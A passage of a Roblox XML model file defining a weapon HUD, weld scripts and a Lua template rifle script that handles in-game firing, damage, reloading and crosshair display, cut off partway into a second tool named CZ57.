							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4244">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4245">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX4246">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4247">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4248">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4249">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4250">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4251">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4252">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Welding</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4253">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BackupWeld</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4254">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-75))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4255">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Bow</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 100
-- How many times per second the gun can fire
local FireRate = 1 / 4
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.002
-- In radian the maximum accuracy penalty
local MaxSpread = 0.02
-- Number of bullets in a clip
local ClipSize = 1
-- DefaultValue for spare ammo
local SpareAmmo = 20
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.04
-- Time it takes to reload weapon
local ReloadTime = 2
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(2.2, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;script.Parent.Effect.Transparency = 0
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;script.Parent.Effect.Transparency = 1
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4256">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-0.200000003</Y>
					<Z>0</Z>
					<R00>0.949628592</R00>
					<R01>0</R01>
					<R02>0.313377738</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-0.313377738</R20>
					<R21>0</R21>
					<R22>0.949628592</R22>
				</CoordinateFrame>
				<string name="Name">CZ57</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079944</url></Content>
				<string name="ToolTip">CZ57</string>
			</Properties>
			<Item class="Part" referent="RBX4257">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-19.2000008</X>
						<Y>-68.5999985</Y>
						<Z>14.9000006</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
